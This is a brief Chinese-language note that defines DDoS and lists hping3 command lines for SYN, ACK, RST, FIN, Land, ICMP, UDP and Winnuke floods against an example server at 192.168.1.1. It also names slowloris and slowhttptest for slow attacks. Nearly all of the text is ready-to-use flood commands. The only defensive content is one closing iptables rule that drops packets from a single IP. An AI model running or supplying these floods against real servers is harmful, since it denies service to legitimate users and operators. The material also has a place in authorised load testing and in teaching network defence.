ddos是分布式拒绝服务攻击,对于一个提供服务的服务器,短时间内恶意访问次数过多,频率过高时,正常的用户无法访问,正常使用业务,造成拒绝服务。
ddos工具很多,一方面是ddos攻击的原理,需要熟悉协议原理(包括网络层,传输层,应用层)。
hping3是linux下的一个ddos工具,记录下它的使用。假设服务器IP是192.168.1.1,服务端口是80。
TCP SYN Flood
hping3 --flood --syn -p 80 192.168.1.1
TCP ACK Flood
hping3 --flood --ack -p 80 192.168.1.1
TCP RST Flood
hping3 --flood --rst --ack -p 80 192.168.1.1
TCP FIN Flood
hping3 --flood --fin --ack -p 80 192.168.1.1
TCP Land Flood
hping3 --flood -p 80 -a 192.168.1.1 192.168.1.1
ICMP Flood
hping3 --flood --icmp -p 80 192.168.1.1
UDP Flood
hping3 --flood --udp -p 80 192.168.1.1
Winnuke
hping3 --flood --urg --ack -p 137 192.168.1.1
hping3 --flood --urg --ack -p 138 192.168.1.1
hping3 --flood --urg --ack -p 139 192.168.1.1
对于慢攻击的工具,有slowloris,slowhttptest等。
使用iptables可以有效防护DDoS的攻击。
例如简单的丢弃源IP为192.168.1.2的TCP数据包。
iptables -A INPUT --protocol tcp --dport 80 --source 192.168.1.2 -j DROP